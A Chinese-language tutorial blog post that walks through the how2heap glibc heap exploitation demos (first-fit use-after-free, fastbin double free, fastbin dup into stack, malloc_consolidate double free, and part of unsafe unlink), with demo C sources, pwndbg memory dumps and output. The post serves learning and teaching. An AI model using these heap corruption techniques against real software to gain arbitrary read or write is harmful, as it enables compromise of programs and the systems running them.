Educational Heap Exploitation

通过 how2heap 复习堆利用

首发于先知社区 https://xz.aliyun.com/t/2582

Educational Heap Exploitation

how2heap这是由 shellphish 团队创建的一个仓库,是用来学习堆利用技术广为周知的地方。 且主要针对 glibc

0x01 first_fit

Source:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main()
{
fprintf(stderr, "This file doesn't demonstrate an attack, but shows the nature of glibc's allocator.\n");
fprintf(stderr, "glibc uses a first-fit algorithm to select a free chunk.\n");
fprintf(stderr, "If a chunk is free and large enough, malloc will select this chunk.\n");
fprintf(stderr, "This can be exploited in a use-after-free situation.\n");

fprintf(stderr, "Allocating 2 buffers. They can be large, don't have to be fastbin.\n");
char* a = malloc(512);
char* b = malloc(256);
char* c;

fprintf(stderr, "1st malloc(512): %p\n", a);
fprintf(stderr, "2nd malloc(256): %p\n", b);
fprintf(stderr, "we could continue mallocing here...\n");
fprintf(stderr, "now let's put a string at a that we can read later \"this is A!\"\n");
strcpy(a, "this is A!");
fprintf(stderr, "first allocation %p points to %s\n", a, a);

fprintf(stderr, "Freeing the first one...\n");
free(a);

fprintf(stderr, "We don't need to free anything again. As long as we allocate less than 512, it will end up at %p\n", a);

fprintf(stderr, "So, let's allocate 500 bytes\n");
c = malloc(500);
fprintf(stderr, "3rd malloc(500): %p\n", c);
fprintf(stderr, "And put a different string here, \"this is C!\"\n");
strcpy(c, "this is C!");
fprintf(stderr, "3rd allocation %p points to %s\n", c, c);
fprintf(stderr, "first allocation %p points to %s\n", a, a);
fprintf(stderr, "If we reuse the first allocation, it now holds the data from the third allocation.");
}

我们从调试上入手,首先简单对 main 函数下断点。b main

程序首先创建了两个 chunk,size分别为 512 和256。然后向chunk a 分别写入字符串 ‘this is A’ 。

1
2
3
4
5
6
7
8
9
10
11
12
Pwndbg> heap
Top Chunk: 0x602320
Last Remainder: 0

0x602000 PREV_INUSE {
prev_size = 0x0,
size = 0x211,
fd = 0x2073692073696874,
bk = 0x2141,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
Pwndbg> x/20a 0x602000
0x602000: 0x0 0x211
0x602010: 0x2073692073696874 0x2141
0x602020: 0x0 0x0
0x602030: 0x0 0x0
0x602040: 0x0 0x0
0x602050: 0x0 0x0
0x602060: 0x0 0x0
0x602070: 0x0 0x0
0x602080: 0x0 0x0
0x602090: 0x0 0x0
Pwndbg> x/5s 0x602010
0x602010: "this is A!"
0x60201b: ""
0x60201c: ""
0x60201d: ""
0x60201e:

这个时候我们把 chunk A free掉。由于chunk A 大小为 512 不适于 fastbins 系统会将这个chunk 放入unsortedbin。


基本来源:

  1. 当一个较大的 chunk 被分割成两半后,如果剩下的部分大于 MINSIZE,就会被放到 unsorted bin 中。
  2. 释放一个不属于 fast bin 的 chunk,并且该 chunk 不和 top chunk 紧邻时,该 chunk 会被首先放到 unsorted bin 中。关于top chunk的解释,请参考下面的介绍。
  3. 当进行 malloc_consolidate 时,可能会把合并后的 chunk 放到 unsorted bin 中,如果不是和 top chunk 近邻的话。

基本使用情况

  1. Unsorted Bin 在使用的过程中,采用的遍历顺序是 FIFO,即插入的时候插入到 unsorted bin 的头部,取出的时候从链表尾获取
  2. 在程序 malloc 时,如果在 fastbin,small bin 中找不到对应大小的 chunk,就会尝试从 Unsorted Bin 中寻找 chunk。如果取出来的 chunk 大小刚好满足,就会直接返回给用户,否则就会把这些 chunk 分别插入到对应的 bin 中。

当程序再一次 malloc 一个大小与我们 free 掉的chunk 大小差不多的 chunk ,系统会优先从 bins 里找到一个合适的 chunk 把他取出来再使用。写入’this is C’

1
2
3
4
5
6
7
8
9
10
11
12
Pwndbg> heap
Top Chunk: 0x602320
Last Remainder: 0

0x602000 PREV_INUSE {
prev_size = 0x0,
size = 0x211,
fd = 0x2073692073696874,
bk = 0x7ffff7002143,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
Pwndbg> x/20a 0x602000
0x602000: 0x0 0x211
0x602010: 0x2073692073696874 0x7ffff7002143
0x602020: 0x0 0x0
0x602030: 0x0 0x0
0x602040: 0x0 0x0
0x602050: 0x0 0x0
0x602060: 0x0 0x0
0x602070: 0x0 0x0
0x602080: 0x0 0x0
0x602090: 0x0 0x0
Pwndbg> x/5s 0x602010
0x602010: "this is C!"
0x60201b: "\367\377\177"
0x60201f: ""
0x602020: ""
0x602021: ""
Pwndbg>

Unsortedbin 也被取出。

我们发现在原来 chunk A 的位置 也是chunk C 的位置。为什么用“也”呢?因为如果去打印 chunk A 的指针我们也会打印出 “This is C” 的字符串。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
Pwndbg> p &a
$3 = (char **) 0x7fffffffe408
Pwndbg> x/20a 0x7fffffffe408
0x7fffffffe408: 0x602010 0x602220
0x7fffffffe418: 0x602010 0x4008e0 <__libc_csu_init>
0x7fffffffe428: 0x7ffff7a303f1 <__libc_start_main+241> 0x40000
0x7fffffffe438: 0x7fffffffe508 0x1f7b9a488
0x7fffffffe448: 0x400616 <main> 0x0
0x7fffffffe458: 0x873c9590c5edf93b 0x400520 <_start>
0x7fffffffe468: 0x7fffffffe500 0x0
0x7fffffffe478: 0x0 0x78c36aef1c4df93b
0x7fffffffe488: 0x78c37a56d37ff93b 0x0
0x7fffffffe498: 0x0 0x0
Pwndbg> x/20a 0x602010
0x602010: 0x2073692073696874 0x7ffff7002143
0x602020: 0x0 0x0
0x602030: 0x0 0x0
0x602040: 0x0 0x0
0x602050: 0x0 0x0
0x602060: 0x0 0x0
0x602070: 0x0 0x0
0x602080: 0x0 0x0
0x602090: 0x0 0x0
0x6020a0: 0x0 0x0
Pwndbg> p a
$4 = 0x602010 "this is C!"
Pwndbg>

从这我们就会发现 我们去打印 a的内容,a的内容也是‘this is C’。这个就是一个很明显的 use-after-free 漏洞。


uaf 造成原因:

指针free 掉后并没有置0

0x2 fastbin_dup

Tricking malloc into returning an already-allocated heap pointer by abusing the fastbin freelist.

fastbin 机制下的 double free。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
#include <stdio.h>
#include <stdlib.h>

int main()
{
fprintf(stderr, "This file demonstrates a simple double-free attack with fastbins.\n");

fprintf(stderr, "Allocating 3 buffers.\n");
int *a = malloc(8);
int *b = malloc(8);
int *c = malloc(8);

fprintf(stderr, "1st malloc(8): %p\n", a);
fprintf(stderr, "2nd malloc(8): %p\n", b);
fprintf(stderr, "3rd malloc(8): %p\n", c);

fprintf(stderr, "Freeing the first one...\n");
free(a);

fprintf(stderr, "If we free %p again, things will crash because %p is at the top of the free list.\n", a, a);
// free(a);

fprintf(stderr, "So, instead, we'll free %p.\n", b);
free(b);

fprintf(stderr, "Now, we can free %p again, since it's not the head of the free list.\n", a);
free(a);

fprintf(stderr, "Now the free list has [ %p, %p, %p ]. If we malloc 3 times, we'll get %p twice!\n", a, b, a, a);
fprintf(stderr, "1st malloc(8): %p\n", malloc(8));
fprintf(stderr, "2nd malloc(8): %p\n", malloc(8));
fprintf(stderr, "3rd malloc(8): %p\n", malloc(8));
}

在这之前,我们先看一个程序。

1
2
3
4
5
6
7
8
9
17     fprintf(stderr, "Freeing the first one...\n");
18 free(a);
19
20 fprintf(stderr, "If we free %p again, things will crash because %p is at the top of the free list.\n", a, a);
21 free(a);
22
23 fprintf(stderr, "So, instead, we'll free %p.\n", b);
24 free(b);
25

我们把21 行的注释去掉。编译程序并运行。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
This file demonstrates a simple double-free attack with fastbins.
Allocating 3 buffers.
1st malloc(8): 0xb74010
2nd malloc(8): 0xb74030
3rd malloc(8): 0xb74050
Freeing the first one...
If we free 0xb74010 again, things will crash because 0xb74010 is at the top of the free list.
*** Error in `./fastbin_dup_double_free': double free or corruption (fasttop): 0x0000000000b74010 ***
======= Backtrace: =========
/lib/x86_64-linux-gnu/libc.so.6(+0x790cb)[0x7fe7c6e7d0cb]
/lib/x86_64-linux-gnu/libc.so.6(+0x82c9a)[0x7fe7c6e86c9a]
/lib/x86_64-linux-gnu/libc.so.6(cfree+0x4c)[0x7fe7c6e8ad8c]
./fastbin_dup_double_free[0x400740]
/lib/x86_64-linux-gnu/libc.so.6(__libc_start_main+0xf1)[0x7fe7c6e243f1]
./fastbin_dup_double_free[0x40054a]
======= Memory map: ========

当我们运行程序后,程序发生了明显的报错,这是一个典型的 double free 。意味通常而言,一个已经 free 掉的 chunk 是不能被 free 第二次的。然后我们把原本的注释加上。

1
2
3
4
5
6
7
8
17     fprintf(stderr, "Freeing the first one...\n");
18 free(a);
19
20 fprintf(stderr, "If we free %p again, things will crash because %p is at the top of the free list.\n", a, a);
21 //free(a);
22
23 fprintf(stderr, "So, instead, we'll free %p.\n", b);
24 free(b);

然后重新编译。gcc -g -no-pie fastbin_dup.c -o fastbin_dup 并上调试器。

首先程序 malloc 了三个 chunk 。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
Pwndbg> heap
Top Chunk: 0x602060
Last Remainder: 0

0x602000 FASTBIN {
prev_size = 0x0,
size = 0x21,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x21
}
0x602020 FASTBIN {
prev_size = 0x0,
size = 0x21,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x21
}
0x602040 FASTBIN {
prev_size = 0x0,
size = 0x21,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x20fa1
}
0x602060 PREV_INUSE {
prev_size = 0x0,
size = 0x20fa1,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}

然后 free(a)

1
2
3
4
5
6
7
  15 	fprintf(stderr, "3rd malloc(8): %p\n", c);
16
17 fprintf(stderr, "Freeing the first one...\n");
18 free(a);
19
20 fprintf(stderr, "If we free %p again, things will crash because %p is at the top of the free list.\n", a, a);
21 //free(a);

free(b)

1
2
3
4
5
6
  22
23 fprintf(stderr, "So, instead, we'll free %p.\n", b);
24 free(b);
25
26 fprintf(stderr, "Now, we can free %p again, since it's not the head of the free list.\n", a);
27 free(a);

这个时候,fastbin 形成一个 fastbin freelist

1
2
3
4
5
6
7
8
9
Pwndbg> fastbins
fastbins
0x20: 0x602020 —▸ 0x602000 ◂— 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0

chunk A —> chunk B

然后我们再把 a free 一次

1
2
3
4
5
6
7
8
9
10
11
  22
23 fprintf(stderr, "So, instead, we'll free %p.\n", b);
24 free(b);
25
26 fprintf(stderr, "Now, we can free %p again, since it's not the head of the free list.\n", a);
27 free(a);
28
29 fprintf(stderr, "Now the free list has [ %p, %p, %p ]. If we malloc 3 times, we'll get %p twice!\n", a, b, a, a);
30 fprintf(stderr, "1st malloc(8): %p\n", malloc(8));
31 fprintf(stderr, "2nd malloc(8): %p\n", malloc(8));
32 fprintf(stderr, "3rd malloc(8): %p\n", malloc(8));

我们发现这次并没有发生报错。形成了如下的 free list。

1
2
3
4
5
6
7
8
9
Pwndbg> fastbins
fastbins
0x20: 0x602000 —▸ 0x602020 ◂— 0x602000
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0

————— ————— —————

|Chunk A| -> |chunk B| –>| chunk A|

————— ————— —————

/\                          |

|  ------------- -------

大概如上个图,这样我们就成功绕过了 fastbins 的double free检查。原因如下:

fastbins 可以看成一个 LIFO 的栈,使用单链表实现,通过 fastbin->fd 来遍历 fastbins。由于 free 的过程会对 free list 做检查,我们不能连续两次 free 同一个 chunk,所以这里在两次 free 之间,增加了一次对其他 chunk 的 free 过程,从而绕过检查顺利执行。然后再 malloc 三次,就在同一个地址 malloc 了两次,也就有了两个指向同一块内存区域的指针。

0x3 fastbin_dup_into_stack

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
#include <stdio.h>
#include <stdlib.h>

int main()
{
fprintf(stderr, "This file extends on fastbin_dup.c by tricking malloc into\n"
"returning a pointer to a controlled location (in this case, the stack).\n");

unsigned long long stack_var;

fprintf(stderr, "The address we want malloc() to return is %p.\n", 8+(char *)&stack_var);

fprintf(stderr, "Allocating 3 buffers.\n");
int *a = malloc(8);
int *b = malloc(8);
int *c = malloc(8);

fprintf(stderr, "1st malloc(8): %p\n", a);
fprintf(stderr, "2nd malloc(8): %p\n", b);
fprintf(stderr, "3rd malloc(8): %p\n", c);

fprintf(stderr, "Freeing the first one...\n");
free(a);

fprintf(stderr, "If we free %p again, things will crash because %p is at the top of the free list.\n", a, a);
// free(a);

fprintf(stderr, "So, instead, we'll free %p.\n", b);
free(b);

fprintf(stderr, "Now, we can free %p again, since it's not the head of the free list.\n", a);
free(a);

fprintf(stderr, "Now the free list has [ %p, %p, %p ]. "
"We'll now carry out our attack by modifying data at %p.\n", a, b, a, a);
unsigned long long *d = malloc(8);

fprintf(stderr, "1st malloc(8): %p\n", d);
fprintf(stderr, "2nd malloc(8): %p\n", malloc(8));
fprintf(stderr, "Now the free list has [ %p ].\n", a);
fprintf(stderr, "Now, we have access to %p while it remains at the head of the free list.\n"
"so now we are writing a fake free size (in this case, 0x20) to the stack,\n"
"so that malloc will think there is a free chunk there and agree to\n"
"return a pointer to it.\n", a);
stack_var = 0x20;

fprintf(stderr, "Now, we overwrite the first 8 bytes of the data at %p to point right before the 0x20.\n", a);
*d = (unsigned long long) (((char*)&stack_var) - sizeof(d));

fprintf(stderr, "3rd malloc(8): %p, putting the stack address on the free list\n", malloc(8));
fprintf(stderr, "4th malloc(8): %p\n", malloc(8));
}

通用的,编译后我们 gdb 挂载程序。

程序通用 malloc 了三个 chunk,紧接着通过 fastbin double free 的操作形成了如下freelist。

1
2
3
4
5
6
7
8
9
Pwndbg> fastbins
fastbins
0x20: 0x603000 —▸ 0x603020 ◂— 0x603000
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0

然后呢 我再malloc chunk d

1
2
3
4
5
6
7
8
9
10
  36 	unsigned long long *d = malloc(8);
37
38 fprintf(stderr, "1st malloc(8): %p\n", d);
39 fprintf(stderr, "2nd malloc(8): %p\n", malloc(8));
40 fprintf(stderr, "Now the free list has [ %p ].\n", a);
41 fprintf(stderr, "Now, we have access to %p while it remains at the head of the free list.\n"
42 "so now we are writing a fake free size (in this case, 0x20) to the stack,\n"
43 "so that malloc will think there is a free chunk there and agree to\n"
44 "return a pointer to it.\n", a);
45 stack_var = 0x20;

这个时候 程序会从 fastbins 里取一个,由于fastbins 是 LIFO (Last in First out)。 chunk A 会被取出使用。倘若我们这个时候能对 chunk D 进行操作,如 d = (unsigned long long) (((char*)&stack_var) - sizeof(d)); 由于 stack_var = 0x20;这样的定义是在函数内,所以stack_var的地址将在栈上,通过对指针 d 的操作,我们可以伪造一个 chunk ,并将这个 chunk 放在栈上。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
Pwndbg> x/20a 0x603000
0x603000: 0x0 0x21
0x603010: 0x7fffffffe388 0x0
0x603020: 0x0 0x21
0x603030: 0x603000 0x0
0x603040: 0x0 0x21
0x603050: 0x0 0x0
0x603060: 0x0 0x20fa1
0x603070: 0x0 0x0
0x603080: 0x0 0x0
0x603090: 0x0 0x0
Pwndbg> x/20a 0x7fffffffe388
0x7fffffffe388: 0x40097c <main+758> 0x20
0x7fffffffe398: 0x603010 0x603030
0x7fffffffe3a8: 0x603050 0x603010
0x7fffffffe3b8: 0xc3e158ae04ceee00 0x4009a0 <__libc_csu_init>
0x7fffffffe3c8: 0x7ffff7a303f1 <__libc_start_main+241> 0x40000
0x7fffffffe3d8: 0x7fffffffe4a8 0x1f7b9a488
0x7fffffffe3e8: 0x400686 <main> 0x0
0x7fffffffe3f8: 0x4ffa6e8ae3316c56 0x400590 <_start>
0x7fffffffe408: 0x7fffffffe4a0 0x0
0x7fffffffe418: 0x0 0xb00591f537d16c56
Pwndbg> stack 10
00:0000│ rsp 0x7fffffffe390 ◂— 0x20 /* ' ' */
01:0008│ 0x7fffffffe398 —▸ 0x603010 —▸ 0x7fffffffe388 —▸ 0x40097c (main+758) ◂— 0x4d8b4800000000b8
02:0010│ 0x7fffffffe3a0 —▸ 0x603030 —▸ 0x603000 ◂— 0x0
03:0018│ 0x7fffffffe3a8 —▸ 0x603050 ◂— 0x0
04:0020│ 0x7fffffffe3b0 —▸ 0x603010 —▸ 0x7fffffffe388 —▸ 0x40097c (main+758) ◂— 0x4d8b4800000000b8
05:0028│ 0x7fffffffe3b8 ◂— 0xc3e158ae04ceee00
06:0030│ rbp 0x7fffffffe3c0 —▸ 0x4009a0 (__libc_csu_init) ◂— 0x41ff894156415741
07:0038│ 0x7fffffffe3c8 —▸ 0x7ffff7a303f1 (__libc_start_main+241) ◂— mov edi, eax
08:0040│ 0x7fffffffe3d0 ◂— 0x40000
09:0048│ 0x7fffffffe3d8 —▸ 0x7fffffffe4a8 —▸ 0x7fffffffe6ea ◂— 0x77732f656d6f682f ('/home/sw')

stack_var = 0x20; 是由于伪造的 chunk 要由 设置size,size的位置位于 地址-0x8的地方。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
➜  glibc_2.25 git:(master) ✗ ./fastbin_dup_into_stack
This file extends on fastbin_dup.c by tricking malloc into
returning a pointer to a controlled location (in this case, the stack).
The address we want malloc() to return is 0x7fff02a085c8.
Allocating 3 buffers.
1st malloc(8): 0x146b010
2nd malloc(8): 0x146b030
3rd malloc(8): 0x146b050
Freeing the first one...
If we free 0x146b010 again, things will crash because 0x146b010 is at the top of the free list.
So, instead, we'll free 0x146b030.
Now, we can free 0x146b010 again, since it's not the head of the free list.
Now the free list has [ 0x146b010, 0x146b030, 0x146b010 ]. We'll now carry out our attack by modifying data at 0x146b010.
1st malloc(8): 0x146b010
2nd malloc(8): 0x146b030
Now the free list has [ 0x146b010 ].
Now, we have access to 0x146b010 while it remains at the head of the free list.
so now we are writing a fake free size (in this case, 0x20) to the stack,
so that malloc will think there is a free chunk there and agree to
return a pointer to it.
Now, we overwrite the first 8 bytes of the data at 0x146b010 to point right before the 0x20.
3rd malloc(8): 0x146b010, putting the stack address on the free list
4th malloc(8): 0x7fff02a085c8

最后效果如上,我们发现当 chunk a 被拿出来后,由于我们伪造了chunk a 的 fd,造成如下效果。

1
2
3
4
5
6
7
8
9
Pwndbg> fastbins
fastbins
0x20: 0x603000 —▸ 0x7fffffffe388 —▸ 0x603010 ◂— 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0

这个时候形成如上的链表结构,这个时候当我们再 malloc 一块内存的时候,系统会误以为 是我们 fake 的chunk是free的。他会把这块 chunk 拿出来用。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
Pwndbg> heap
Top Chunk: 0x603060
Last Remainder: 0

0x603000 FASTBIN {
prev_size = 0x0,
size = 0x21,
fd = 0x7fffffffe388,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x21
}
0x603020 FASTBIN {
prev_size = 0x0,
size = 0x21,
fd = 0x603000,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x21
}

小结:对于 fastbins,可以通过 double-free 覆盖 fastbins 的结构,来获得一个指向任意地址的指针。如果我们把这个地址指向 got 地址,如果我们可对 chunk 进行写或者读操作,我们就有了任意地址写 和 任意地址读。

0x04 fastbin_dup_consolidate

我们上一条 0x02 介绍了一个 fast double free 的绕过机制,通过在free 同一个 chunk中的中间插入对另外一个chunk 的free。

1
2
3
free(p1);
free(p2);
free(p1);

这里 shellphish 向我们展示了 large bin 中 mallo_consolidata 机制 fast 对double free 的检查

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#include <stdio.h>
#include <stdint.h>
#include <stdlib.h>

int main() {
void* p1 = malloc(0x40);
void* p2 = malloc(0x40);
fprintf(stderr, "Allocated two fastbins: p1=%p p2=%p\n", p1, p2);
fprintf(stderr, "Now free p1!\n");
free(p1);

void* p3 = malloc(0x400);
fprintf(stderr, "Allocated large bin to trigger malloc_consolidate(): p3=%p\n", p3);
fprintf(stderr, "In malloc_consolidate(), p1 is moved to the unsorted bin.\n");
free(p1);
fprintf(stderr, "Trigger the double free vulnerability!\n");
fprintf(stderr, "We can pass the check in malloc() since p1 is not fast top.\n");
fprintf(stderr, "Now p1 is in unsorted bin and fast bin. So we'will get it twice: %p %p\n", malloc(0x40), malloc(0x40));
}

同样的编译后 gdb 挂载运行。

首先是两个malloc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
Pwndbg> heap
Top Chunk: 0x6020a0
Last Remainder: 0

0x602000 FASTBIN {
prev_size = 0x0,
size = 0x51,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
0x602050 FASTBIN {
prev_size = 0x0,
size = 0x51,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
0x6020a0 PREV_INUSE {
prev_size = 0x0,
size = 0x20f61,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}

然后释放 p 1,讲他加入到 fastbins中

1
2
3
4
5
6
7
8
9
10
Pwndbg> fastbins
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x602000 ◂— 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
Pwndbg> heap

当我们在中插入 malloc(0x400) 创建一个 large bins的时候。


large bins

chunk 的指针数组, 每个元素是一条 双向循环链表的头部, 但同一条链表中块的大小不一 定相同, 按照从大到小的顺序排列, 每个 bin 保存一定 大小范围的块。主要保存大小 1024 字节以上的块。


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
Pwndbg> fastbins
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
Pwndbg> small bins
No symbol "bins" in current context.
smallbins
0x20: 0x7ffff7dd1b68 (main_arena+104) ◂— 0x7ffff7dd1b68
0x30: 0x7ffff7dd1b78 (main_arena+120) ◂— 0x7ffff7dd1b78
0x40: 0x7ffff7dd1b88 (main_arena+136) ◂— 0x7ffff7dd1b88
0x50: 0x602000 —▸ 0x7ffff7dd1b98 (main_arena+152) ◂— 0x602000

我们会发现 原本在 fastbins 的 chunk p1 跑到了 small bins 里。而且 chunk p2 的prev_size 和size字段都被修改了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
Pwndbg> heap
Top Chunk: 0x6024b0
Last Remainder: 0

0x602000 FASTBIN {
prev_size = 0x0,
size = 0x51,
fd = 0x7ffff7dd1b98 <main_arena+152>,
bk = 0x7ffff7dd1b98 <main_arena+152>,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
0x602050 {
prev_size = 0x50,
size = 0x50,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
0x6020a0 PREV_INUSE {
prev_size = 0x0,
size = 0x411,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
0x6024b0 PREV_INUSE {
prev_size = 0x0,
size = 0x20b51,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}

我们可以看看 large bin的分配

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
/*
If this is a large request, consolidate fastbins before continuing.
While it might look excessive to kill all fastbins before
even seeing if there is space available, this avoids
fragmentation problems normally associated with fastbins.
Also, in practice, programs tend to have runs of either small or
large requests, but less often mixtures, so consolidation is not
invoked all that often in most programs. And the programs that
it is called frequently in otherwise tend to fragment.
*/

else
{
idx = largebin_index (nb);
if (have_fastchunks (av))
malloc_consolidate (av);
}

当分配 large chunk 时,首先根据 chunk 的大小获得对应的 large bin 的 index,接着判断当前分配区的 fast bins 中是否包含 chunk,如果有,调用 malloc_consolidate() 函数合并 fast bins 中的 chunk,并将这些空闲 chunk 加入 unsorted bin 中。因为这里分配的是一个 large chunk,所以 unsorted bin 中的 chunk 按照大小被放回 small bins 或 large bins 中。这个时候我们就可以再次释放 p1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
Pwndbg> fastbins
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x602000 ◂— 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
Pwndbg> smallbins
smallbins
0x20: 0x7ffff7dd1b68 (main_arena+104) ◂— 0x7ffff7dd1b68
0x30: 0x7ffff7dd1b78 (main_arena+120) ◂— 0x7ffff7dd1b78
0x40: 0x7ffff7dd1b88 (main_arena+136) ◂— 0x7ffff7dd1b88
0x50: 0x602000 ◂— 0x0

这个时候,我们既有fastbins中的 chunk p1 也有small bins 的chunk p2。我们可以malloc两次,第一次从fastbins取出,第二次从small bins中取出。且这两块新 chunk 处于同一个位置。

1
2
3
4
5
6
7
Allocated two fastbins: p1=0x220a010 p2=0x220a060
Now free p1!
Allocated large bin to trigger malloc_consolidate(): p3=0x220a0b0
In malloc_consolidate(), p1 is moved to the unsorted bin.
Trigger the double free vulnerability!
We can pass the check in malloc() since p1 is not fast top.
Now p1 is in unsorted bin and fast bin. So we'will get it twice: 0x220a010 0x220a010

Exploiting free on a corrupted chunk to get arbitrary write.

利用 free 改写全局指针 chunk0_ptr 达到任意内存写的目的,即 unsafe unlink。

首先我们创建两个chunk 分别为chunk_0 和chunk_1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
Pwndbg> x/40gx 0x603000-0x10
0x602ff0: 0x0000000000000000 0x0000000000000000
0x603000: 0x0000000000000000 0x0000000000000091 <- chunk 0
0x603020: 0x0000000000000000 0x0000000000000000
0x603030: 0x0000000000000000 0x0000000000000000
0x603040: 0x0000000000000000 0x0000000000000000
0x603050: 0x0000000000000000 0x0000000000000000
0x603060: 0x0000000000000000 0x0000000000000000
0x603070: 0x0000000000000000 0x0000000000000000
0x603080: 0x0000000000000000 0x0000000000000000
0x603090: 0x0000000000000000 0x0000000000000091 <- chunk 1
0x6030a0: 0x0000000000000000 0x0000000000000000
0x6030b0: 0x0000000000000000 0x0000000000000000
0x6030c0: 0x0000000000000000 0x0000000000000000
0x6030d0: 0x0000000000000000 0x0000000000000000
0x6030e0: 0x0000000000000000 0x0000000000000000
0x6030f0: 0x0000000000000000 0x0000000000000000
0x603100: 0x0000000000000000 0x0000000000000000
0x603110: 0x0000000000000000 0x0000000000000000
0x603120: 0x0000000000000000 0x0000000000020ee1

紧接着我们假设这个时候我们有堆溢出,可以对chunk 0 进行修改,我们伪造个chunk。由于有P->fd->bk != P || P->bk->fd != P) 这样的检查。我们可以利用全局指针 chunk0_ptr 构造 fake chunk 来绕过它:

我们伪造 fake chunk 的fd 为 chunk0_ptr[2] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*3);

我们伪造 fake chunk 的bk 为chunk0_ptr[3] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*2);

这个时候

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
Pwndbg> x/40gx 0x603000-0x10
0x602ff0: 0x0000000000000000 0x0000000000000000
0x603000: 0x0000000000000000 0x0000000000000091 <-- chunk 0
0x603010: 0x0000000000000000 0x0000000000000000 <-- fake chunk
0x603020: 0x0000000000602058 0x0000000000602060 fd ,bk
0x603030: 0x0000000000000000 0x0000000000000000
0x603040: 0x0000000000000000 0x0000000000000000
0x603050: 0x0000000000000000 0x0000000000000000
0x603060: 0x0000000000000000 0x0000000000000000
0x603070: 0x0000000000000000 0x0000000000000000
0x603080: 0x0000000000000000 0x0000000000000000
0x603090: 0x0000000000000000 0x0000000000000091 <-- chunk 1 <-- prev_size
0x6030a0: 0x0000000000000000 0x0000000000000000
0x6030b0: 0x0000000000000000 0x0000000000000000
0x6030c0: 0x0000000000000000 0x0000000000000000
0x6030d0: 0x0000000000000000 0x0000000000000000
0x6030e0: 0x0000000000000000 0x0000000000000000
0x6030f0: 0x0000000000000000 0x0000000000000000
0x603100: 0x0000000000000000 0x0000000000000000
0x603110: 0x0000000000000000 0x0000000000000000
0x603120: 0x0000000000000000 0x0000000000020ee1
1
2
3
4
5
6
7
8
9
Pwndbg> x/5gx 0x0000000000602058
0x602058: 0x0000000000000000 0x00007ffff7dd2520 <-- fake chunk FD
0x602068 <completed.7557>: 0x0000000000000000 0x0000000000603010 <-- bk pointer
0x602078: 0x0000000000000000
Pwndbg> x/5gx 0x0000000000602060
0x602060 <stderr@@GLIBC_2.2.5>: 0x00007ffff7dd2520 0x0000000000000000 <-- fake chunk BK
0x602070 <chunk0_ptr>: 0x0000000000603010 0x0000000000000000 <-- fd pointer
0x602080: 0x0000000000000000
Pwndbg> heap

这样就就会变成我 fake chunk 的 FD 块的bk指向 fake chunk, fake chunk 的BK 块 的fd指向fake chunk ,这样就能绕过检查。

